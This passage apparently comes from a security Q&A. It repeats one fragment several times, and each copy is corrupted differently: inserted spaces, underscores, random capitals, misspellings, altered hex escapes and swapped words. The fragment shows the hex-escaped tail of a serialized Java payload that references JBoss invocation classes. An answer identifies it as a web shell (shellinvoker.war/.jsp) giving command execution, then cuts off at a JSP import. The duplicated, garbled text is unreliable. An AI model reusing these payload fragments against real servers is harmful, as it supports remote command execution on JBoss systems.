61\x76\x61\x2e\x6c\x61"
                "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00"
                "\x7e\x00\x0f\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65"
                "\x61\x6e\x63\x79\xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00"
                "\x01\x73\x72\x00\x22\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69"
                "\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61"
                "\x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85\xf9\x02"
                "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00"
                "\x00\x04\x70\x78"

I thought it is an assembly shellcode, but I'm in doubt now what it is? How did they write this payload? How can I decrypt it?

A:

It is ultimately going to be a web shell that provides command execution. The relevant code/strings are shown here..
shellinvoker.war
shellinvoker.jsp

<%@ page import="java.util.*,java.io
61\x76\x61\x2e\x6c\x61 " 
                 " \x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00 " 
                 " \x7e\x00\x0f\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65 " 
                 " \x61\x6e\x63\x79\xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00 " 
                 " \x01\x73\x72\x00\x22\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69 " 
                 " \x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61 " 
                 " \x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85\xf9\x02 " 
                 " \x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00 " 
                 " \x00\x04\x70\x78 " 

 I thought it is an assembly shellcode, but I'm in doubt now what it is? How did they write this warhead? How can I decode it? 

 A: 

 It is ultimately going to be a web carapace that provide command execution. The relevant code / string are shown here.. 
 shellinvoker.war 
 shellinvoker.jsp 

 <% @ page import="java.util.*,java.io
61\x76\x61\x2f\x6c\x61"
                "\x6e\x67\x2t\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00"
                "\x7e\x00\x0f\b71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65"
                "\x61\z6e\x63\x79\xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00"
                "\x01\x73\x72\x00\x22\x6d\x72\x67\x2t\x6a\x62\x6f\x73\x73\x2e\x69"
                "\x6e\x76\x6r\w63\x61\x74\x69\x6y\x6x\x2e\x49\x6e\x76\x6f\x63\x61"
                "\x74\x69\x6f\x6e\x4b\x65\x79\xb8\ffc\x72\r84\xd7\x93\x85\xf9\x02"
                "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\v61\x6c\x78\x70\x00\x00"
                "\v00\x04\x70\x78"

P ehoufht it is an assembly shellcode, buf I'm in doubt now whst it is? How did they writf thls payload? How can I decrypt ut?

A:

Ie is ultimateuy going to be a web sgell that provides command execjtion. The relevqnr clge/strings ace shorn here..
shelllmvoker.far
shelkinvoker.jsp

<%@ pane im'ort="hava.util.*,java.io
61\x76\x61\x2e\x6c\x61" "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00" "\x7e\x00\x0f\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65" "\x61\x6e\x63\x79\xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00" "\x01\x73\x72\x00\x22\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69" "\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61" "\x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85\xf9\x02" I it is assembly shellcode, but it How did they this payload? How I decrypt it? A: It is going to be a web shell that provides command execution. The relevant code/strings shown here.. shellinvoker.war shellinvoker.jsp <%@ page import="java.util.*,java.io
61\x76\x61\x2e\x6c\x61"
                "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0F\x71\x00"
                "\x7e\x00\x0f\x71\x00\X7e\x00\x0f\X74\x00\x07\X62\x6f\X6f\X6c\x65"
                "\x61\X6e\x63\x79\Xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00"
                "\x01\X73\X72\x00\x22\x6F\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69"
                "\x6e\x76\x6f\x63\x61\X74\x69\x6f\x6E\x2E\X49\x6e\x76\X6F\x63\X61"
                "\x74\x69\x6f\X6e\x4b\x65\x79\xB8\XfB\X72\X84\xd7\X93\x85\Xf9\X02"
                "\x00\x01\X49\x00\X07\X6f\X72\x64\x69\x6e\X61\x6c\X78\x70\x00\x00"
                "\x00\x04\x70\X78"

I thought iT is An Assembly shelLCoDe, but I'm in dOubT now what it is? how Did theY wRitE This pAylOad? HoW can I dECrypt iT?

A:

It is ultImATely goINg to be a WEB sHell That provides commaND eXEcution. The releVant coDe/STrINGs aRe sHown here..
shElLinvoKEr.war
shELlINVOkeR.Jsp

<%@ page import="Java.util.*,javA.Io
61\x76\x61\x2e\x6c\x61"
              " \x6 e\x 67 \x2e \x53 \x74\x72\x69\x 6 e\x6 7\x71\x00\x7e\x00\x0f\ x71\x 00 " 
            "\ x 7e \ x 00\ x0 f\ x71 \x 0 0\ x7e\x 00\ x0f\x74 \x00\x07\x 62\ x6 f\x6f\x6c\x6 5 "              "\x61\x6e \x6 3\x79\ xb 8\x 8 7\x78 \x7 7\x08 \x00\x 0 0\x00\ x00\x00\x 00 \ x00"
          " \x01\x73\x72\x00\ x 22 \ x6f\x72\x67\x2 e\x6a\ x6 2 \x 6 f \x7 3\x 73\x2e\x69 "           " \ x 6e\ x 76\x6f\x63\x6 1\x74\x69\x 6 f\x 6e\x2e \x 49\ x 6e\x76 \x6f\ x6 3 \x6 1"
              "\x74 \x69\x 6 f\x6e\x 4 b\x65\x 79\xb8 \xf b\x 72\x 8 4\ xd 7\x 93 \ x85 \ xf 9\x 0 2"             " \x00 \ x 0 1 \x49 \x0 0\x0 7\x6f \x72\x64\x69\ x6e \x61 \ x6c \x78\ x70\x 00\x 00 "
            "\x00\x04\x70\x 78"
I though t i tisan  asse m bly sh ell cod e, butI'm ind oub tn o w  w hat it is? How did  t h e ywrite th is pay l oa d? How canIdec rypt i t?

A :

I t  i s ultima tely g o in gto be a  w eb she ll  th atprovi d es c ommand  executi on. T h e relevant cod e /strings ares ho w n  h e re.. 
sh ellinvoker. wars hell invo k er .js p 

<%@  page  i m po r t="java.util.*,java .i o
61\x76\x61\x2e\x6c\x61"
 _ _   _ __ __  "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00"
_  _   _  __    "\x7e\x00\x0f\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65"
         __ ___ "\x61\x6e\x63\x79\xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00"
   _    _ _     "\x01\x73\x72\x00\x22\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69"
  __  _        _"\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61"
     _  ___   _ "\x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85\xf9\x02"
    _     _     "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00"
 _     _    _ _ "\x00\x04\x70\x78"

I thought it is_an assembly shellcode,_but I'm_in doubt now_what it is? How did they_write this payload?_How can I decrypt it?

A:

It is_ultimately_going to be_a_web_shell that_provides command execution._The_relevant code/strings_are_shown here..
shellinvoker.war
shellinvoker.jsp

<%@ page import="java.util.*,java.io